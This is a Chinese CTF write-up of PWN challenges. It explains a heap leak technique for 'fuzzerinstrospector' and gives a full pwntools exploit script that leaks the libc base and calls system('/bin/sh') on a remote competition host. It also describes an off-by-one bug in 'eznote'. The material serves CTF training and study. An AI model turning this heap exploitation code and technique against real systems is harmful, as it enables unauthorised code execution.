前言 惨遭爆零,还好被师傅们带飞进入决赛,EDI yyds
总共有四题PWN,但是有一题零解,就无法在下面复现了,能力有限。
fuzzerinstrospector 程序里面已经给了gift函数,也就是说只要泄露出libc即可,所以这题的关键点在于如何进行泄露。这里的泄露挺巧,在自己做的时候确实是怎么都没想到竟然是这样做的。
image-20220719182814054
泄露函数可以打印 堆地址 + 堆fd指针上单字节内容 + 8
上的内容。因为是要泄露地址,整个程序除了这里可以打印,其他地方都是无法打印内容的,所以问题一定是处在这里。这里巧的地方就在于,假设我们在堆地址 + 8
也就是bk指针
开始按顺序填入0x00~0xFF,那么再加上堆地址 + 堆fd指针上单字节内容 + 8
所指向的内容其实就是堆fd指针上单字节内容
,相当于绕了一个弯再打印出来。
image-20220719183000965
这题的另一个点在于scanf这个函数,当参数是%u的时候,只能读取十进制数的,遇到字符就会直接判断为读取结束,而不会再进行读取,所以只要输入一个字符,八次循环一次都无法读入内容,从而把fd指针上的内容保存下来。
image-20220719183611413
其他不过就是构造出一个 unsorted bin,总共可以申请九个堆块,还是比较容易构造出的。
image-20220719184136832
gdb调试结果是一致的,所以可以借此把libc地址泄露出来。
image-20220719184537665
image-20220719184630235
最后就是传入system的地址,把/bin/sh写入堆里,完成!
image-20220719184019436
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pickletools import bytes1from turtle import byefrom pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF('./fuzzerinstrospector' ) DEBUG = 1 if DEBUG: libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so" ) ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so" ) p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})else : ip = '39.105.185.193' port = 30007 p = remote(ip, port) def debug (): gdb.attach(p, "b main" ) def add (idx, content ): p.sendlineafter(b"Your choice: " , b'1' ) p.recvuntil(b"Index: " ) p.sendline(str (idx).encode("ascii" )) for i in range (8 ): p.recvuntil(f"Index: {i} " ) p.sendline('255' ) p.recvuntil(b"Bitmap: " ) p.send(content) def edit (idx, content ): p.sendlineafter(b"Your choice: " , b'2' ) p.recvuntil(b"Index: " ) p.sendline(str (idx).encode("ascii" )) shell = ['47' ,'98' ,'105' ,'110' ,'47' ,'115' ,'104' ,'0' ] for i in range (8 ): p.recvuntil(f"Index: {i} " ) p.sendline(shell[i]) p.recvuntil(b"Bitmap: " ) p.send(content)def show (idx ): p.sendlineafter(b"Your choice: " , b'3' ) p.recvuntil(b"Index: " ) p.sendline(str (idx).encode("ascii" )) p.recvuntil(b"Bitmap set: \n" )def free (idx ): p.sendlineafter(b"Your choice: " , b'4' ) p.recvuntil(b"Index: " ) p.sendline(str (idx).encode("ascii" ))def exec (addr ): p.sendlineafter(b"Your choice: " , b'6' ) p.sendline(str (addr).encode("ascii" ))for i in range (9 ): add(i, b'a' *0x100 )for i in range (8 ): free(i)for i in range (7 ): add(i, b'a' *0x100 ) free(8 )for i in range (7 ,-1 ,-1 ): free(i)for i in range (7 ): add(i, b'a' *0x100 ) p.sendlineafter(b"Your choice: " , b'1' ) p.recvuntil(b"Index: " ) p.sendline('7' ) p.recvuntil(b"Index: 0" ) p.send(b'a' ) p.recvuntil(b"Bitmap: " )for i in range (256 ): p.send(chr (i)) show(7 ) leak = u64(bytes ([int (p.recvline().strip().split(b' ' )[1 ]) for _ in range (8 )])) - 0x3ebeb0 log.info("libc_base==>0x%x" %leak) sys = leak + libc.sym['system' ] edit(0 , b'a' *0x100 )exec (sys) p.interactive()
rusty 代码看不懂,但是可以借助 fuzz 寻找漏洞点,这样就可以避免审计代码。
https://blog.csdn.net/Invin_cible/article/details/125812355#comments_22461454
eznote 漏洞点在申请函数里面,别的地方都只能操作索引小于等于6的,而在申请函数中却可以多申请一个,申请到索引为7的堆块。
image-20220719203004107
然后再根据底下的操作,会让第7块堆块的read_size正好把第0块堆块的size更覆盖了,造成了offbyone样式的漏洞。
image-20220719204428735